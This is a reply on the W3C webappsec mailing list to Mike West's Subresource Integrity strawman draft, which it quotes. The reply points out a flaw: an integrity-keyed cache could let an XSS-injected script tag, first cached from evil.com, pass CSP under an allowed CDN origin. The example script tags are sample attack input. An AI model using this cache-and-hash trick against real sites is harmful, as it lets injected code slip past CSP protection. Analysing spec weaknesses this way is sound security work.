Re: Subresource Integrity strawman.

Another consideration with caching is that it cause the user-agent to assume that a file exists where it doesn’t. This could cause problems with CSP. For example:
example.com pages are served with "Content-Security-Policy: script-src https://cdn.example.com”
“https://evil.com/malicious.js” is bad.
"https://evil.com/index.html” includes “<script src=‘https://evil.com/malicious.js' integrity='ni:///sha-256;123456789'></script>”, the user-agent has visited this page and cached the malicious JS.
Via XSS on example.com “<script src=‘https://cdn.example.com/malicious.js' integrity=‘ni:///sha-256;123456789’></script>” is rendered on an example.com page. It is a cache-hit and is from an allowed origin, so there is no CSP violation even though the malicious JS doesn’t actually exist on cdn.example.com.



--  
Ben Toews


On Wednesday, January 8, 2014 at 5:15 AM, Mike West wrote:

> TL;DR: A strawman draft of Subresource Integrity is up on GitHub for review: http://w3c.github.io/webappsec/specs/subresourceintegrity/ Feedback is ever so appreciated.
>  
>  
> Hello, lovely webappsec folks!
>  
> Frederik, Devdatta, Joel, and I have put together an initial draft of a Subresource Integrity spec for discussion. The goal is to define a mechanism by which user agents may verify that a fetched resource has been delivered without unexpected manipulation, consistent with the WG's recent rechartering. We'd very much appreciate you taking a look: http://w3c.github.io/webappsec/specs/subresourceintegrity/  
>  
> In short, the spec proposes a mechanism for tying integrity metadata to resource loads for HTML-, JS-, and CSS-triggered fetches. It adds some processing to the Fetch algorithms to check whether a loaded resource matches that integrity metadata, and offers the ability to specify how a user agent should react to a failed integrity check.  
>  
> The draft is fairly rough in places, but we think it's reasonably complete enough to bring to the working group for public discussion. You'll notice many large red TODO boxes; you opinions and contributions in these spots is particularly desirable.  
>  
> The biggest area still under discussion is an optional mechanism by which a resource may be loaded from a non-canonical source (perhaps over HTTP), falling back to a canonical source (HTTPS) if manipulation is detected. This was part of Brad's initial proposal, but I haven't put much work into specifying how it would work, as it's unclear to me what value it adds for the author or user. I'm hoping to have some discussion about that to determine whether it's something we want to pursue.  
>  
> Thanks for your time!
>  
> (CCing a few folks who expressed special interest, or who I poked ahead of this email for feedback)
>  
> --
> Mike West <mkwst@google.com (mailto:mkwst@google.com)>
> Google+: https://mkw.st/+, Twitter: @mikewest, Cell: +49 162 10 255 91
>  
> Google Germany GmbH, Dienerstrasse 12, 80331 München, Germany
> Registergericht und -nummer: Hamburg, HRB 86891
> Sitz der Gesellschaft: Hamburg
> Geschäftsführer: Graham Law, Christine Elizabeth Flores
> (Sorry; I'm legally required to add this exciting detail to emails. Bleh.)
>  
>  
>  
>  
>